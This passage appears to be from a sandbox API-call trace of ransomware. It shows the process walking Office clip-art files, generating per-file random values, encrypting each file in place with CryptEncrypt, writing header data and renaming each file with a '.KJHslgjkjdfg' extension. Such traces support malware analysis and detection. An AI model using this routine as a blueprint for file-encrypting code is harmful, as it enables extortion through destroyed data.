0x9adfd0 [0189.425] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.425] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0189.427] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.427] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.427] GetProcessHeap () returned 0x990000 [0189.427] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.427] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.427] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.427] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.427] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.427] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.428] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.428] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.428] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.428] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcd6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcd6, lpOverlapped=0x0) returned 1 [0189.428] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0, dwBufLen=0xce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0) returned 1 [0189.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.428] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xce0, lpOverlapped=0x0) returned 1 [0189.428] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.428] SetEndOfFile (hFile=0x130) returned 1 [0189.431] GetProcessHeap () returned 0x990000 [0189.431] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.431] GetProcessHeap () returned 0x990000 [0189.431] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.kjhslgjkjdfg")) returned 1 [0189.432] CloseHandle (hObject=0x130) returned 1 [0189.432] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0189.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.433] GetProcessHeap () returned 0x990000 [0189.433] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.433] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.433] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.436] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.436] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.436] GetProcessHeap () returned 0x990000 [0189.436] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.436] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.436] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.436] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.436] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.436] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.436] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.436] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.436] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.436] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.437] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7a8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7a8, lpOverlapped=0x0) returned 1 [0189.437] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7b0, dwBufLen=0x7b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7b0) returned 1 [0189.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.437] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7b0, lpOverlapped=0x0) returned 1 [0189.437] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.437] SetEndOfFile (hFile=0x130) returned 1 [0189.440] GetProcessHeap () returned 0x990000 [0189.440] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.440] GetProcessHeap () returned 0x990000 [0189.440] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.kjhslgjkjdfg")) returned 1 [0189.441] CloseHandle (hObject=0x130) returned 1 [0189.441] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0189.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.444] GetProcessHeap () returned 0x990000 [0189.444] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.444] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0189.445] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.445] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.445] GetProcessHeap () returned 0x990000 [0189.445] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.445] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.445] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.445] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.445] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.445] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.446] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.446] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.446] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.446] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.446] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe4e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe4e, lpOverlapped=0x0) returned 1 [0189.446] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe50, dwBufLen=0xe50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe50) returned 1 [0189.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.446] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe50, lpOverlapped=0x0) returned 1 [0189.446] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.446] SetEndOfFile (hFile=0x130) returned 1 [0189.448] GetProcessHeap () returned 0x990000 [0189.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.449] GetProcessHeap () returned 0x990000 [0189.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.kjhslgjkjdfg")) returned 1 [0189.450] CloseHandle (hObject=0x130) returned 1 [0189.450] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0189.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.450] GetProcessHeap () returned 0x990000 [0189.450] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.450] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.450] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.453] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.453] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.453] GetProcessHeap () returned 0x990000 [0189.453] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.453] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.453] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.453] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.453] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.453] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.453] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.453] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.453] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.454] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.454] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbc8, lpOverlapped=0x0) returned 1 [0189.454] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd0) returned 1 [0189.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.454] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbd0, lpOverlapped=0x0) returned 1 [0189.454] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.454] SetEndOfFile (hFile=0x130) returned 1 [0189.457] GetProcessHeap () returned 0x990000 [0189.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.457] GetProcessHeap () returned 0x990000 [0189.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.kjhslgjkjdfg")) returned 1 [0189.458] CloseHandle (hObject=0x130) returned 1 [0189.458] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0189.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.459] GetProcessHeap () returned 0x990000 [0189.459] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.459] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.459] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.463] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.463] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.463] GetProcessHeap () returned 0x990000 [0189.463] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.463] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.463] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.463] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.463] WriteFile 